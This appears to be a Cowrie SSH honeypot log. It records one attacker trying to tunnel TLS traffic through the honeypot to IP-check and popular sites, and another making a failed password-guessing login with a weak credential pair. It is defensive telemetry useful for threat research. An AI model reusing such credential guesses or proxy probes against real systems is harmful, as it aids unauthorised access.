{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.228.15.104","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.228.15.104:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:45.280084Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.228.15.104","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031\\xca\\xcf\\xc1\\x9b\\xd4\\xd7\\xa5\\x1a\\x197E\\xd3\\xd1\\x0f\\xbb\\x9e/a\\xfc{,\\xb8\\xd7\\xc9\\xb0\\xf7\\xa6\\xac\\x8c\\x06\\x15 \\x98\\xe33\\xeb\\x02\\x0e4\\x13\\xbd(>S\\xac\\x8b\\x0fJ\\xbe\\x00\\x10K\\xa6\\xac\\x84K\\x88_\\xc0X?\\x85\\xf5\\x9a\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xaa\\xec\\xba(*\\xb58T\\xa4k\\xa3 \\x90\\xb17\\x92\\xe7\\xaa?\\xd6H\\x88\\x8d\\r\\x89\\x0f\\xb5\\x04\\xb6\\r\\xc7_\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.228.15.104:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031\\xca\\xcf\\xc1\\x9b\\xd4\\xd7\\xa5\\x1a\\x197E\\xd3\\xd1\\x0f\\xbb\\x9e/a\\xfc{,\\xb8\\xd7\\xc9\\xb0\\xf7\\xa6\\xac\\x8c\\x06\\x15 \\x98\\xe33\\xeb\\x02\\x0e4\\x13\\xbd(>S\\xac\\x8b\\x0fJ\\xbe\\x00\\x10K\\xa6\\xac\\x84K\\x88_\\xc0X?\\x85\\xf5\\x9a\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xaa\\xec\\xba(*\\xb58T\\xa4k\\xa3 \\x90\\xb17\\x92\\xe7\\xaa?\\xd6H\\x88\\x8d\\r\\x89\\x0f\\xb5\\x04\\xb6\\r\\xc7_\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:45.283305Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":48250,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:48250","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:46.838808Z","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:47.536534Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93[\\xc4\\xd8`\\xb0G\\xf4\\x19\\x99=\\xc0>\\xe8\\xc5\\xdd\\xd1\\xf4\\xf1\\xc1\\x92{\\xcdu\\x8f\\x14\\x02\\xc9H\\xff/& \\x9d5\\xd7\\xbeX;\\x0e\\x9f\\x05)A\\r\\xd0\\x83\\xaa\\xe7\\x10F\\xa1\\t\\xc7Qq\\xb9\\x84\\xd7i\\xb1\\xe5\\xf1L\\xf7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 a`9\\x82q'X\\xde\\x85N\\x95l\\x0fY\\xd5T\\x9f\\x99\\xa1\\x81\\xd1m\\xda\\xf59\\xbcU-\\x12x\\xaeE\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93[\\xc4\\xd8`\\xb0G\\xf4\\x19\\x99=\\xc0>\\xe8\\xc5\\xdd\\xd1\\xf4\\xf1\\xc1\\x92{\\xcdu\\x8f\\x14\\x02\\xc9H\\xff/& \\x9d5\\xd7\\xbeX;\\x0e\\x9f\\x05)A\\r\\xd0\\x83\\xaa\\xe7\\x10F\\xa1\\t\\xc7Qq\\xb9\\x84\\xd7i\\xb1\\xe5\\xf1L\\xf7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 a`9\\x82q'X\\xde\\x85N\\x95l\\x0fY\\xd5T\\x9f\\x99\\xa1\\x81\\xd1m\\xda\\xf59\\xbcU-\\x12x\\xaeE\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:47.540238Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.98.103","dst_port":443,"src_ip":"77.90.185.17","src_port":49440,"message":"direct-tcp connection request to 142.251.98.103:443 from 127.0.0.1:49440","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:47.854788Z","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.98.103","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.98.103:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:48.174007Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.98.103","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83y\\xb7\\xea\\xb2\\xd2\\xf3DN\\x08\\xe9\\x0e\\xa5\\x05\\xb0\\xa2=O\\x813\\x99Z\\x9c\\x9d/\\xc5\\xc4!{\\xf8 Z o\\x84\\x85\\x0f+&\\xb9\\xc8\\xa7\\x8d\\xe2\\xa8\\xbf\\xaeP\\x05L\\xdd\\xfb>\\xb4\\xea=$u)Dbzl\\xde;\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x85*\\xd8if\\x17&M\\\\`\\xfc\\xd0\\x13*XSc\\xdcLfh\\n>X\\xb3\\xc3\\xd6\\xc6k\\x8d`l\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.98.103:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83y\\xb7\\xea\\xb2\\xd2\\xf3DN\\x08\\xe9\\x0e\\xa5\\x05\\xb0\\xa2=O\\x813\\x99Z\\x9c\\x9d/\\xc5\\xc4!{\\xf8 Z o\\x84\\x85\\x0f+&\\xb9\\xc8\\xa7\\x8d\\xe2\\xa8\\xbf\\xaeP\\x05L\\xdd\\xfb>\\xb4\\xea=$u)Dbzl\\xde;\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x85*\\xd8if\\x17&M\\\\`\\xfc\\xd0\\x13*XSc\\xdcLfh\\n>X\\xb3\\xc3\\xd6\\xc6k\\x8d`l\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:48.177389Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:48.332587Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":55364,"dst_ip":"159.203.135.109","dst_port":22,"session":"178738f88206","protocol":"ssh","message":"New connection: 43.245.143.215:55364 (159.203.135.109:22) [session: 178738f88206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:57.832934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:57.837284Z","src_ip":"43.245.143.215","session":"178738f88206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:58.121737Z","src_ip":"43.245.143.215","session":"178738f88206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"12345678","message":"login attempt [stack/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:59.293392Z","src_ip":"43.245.143.215","session":"178738f88206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:53:00.580983Z","src_ip":"43.245.143.215","session":"178738f88206","protocol":"ssh"}
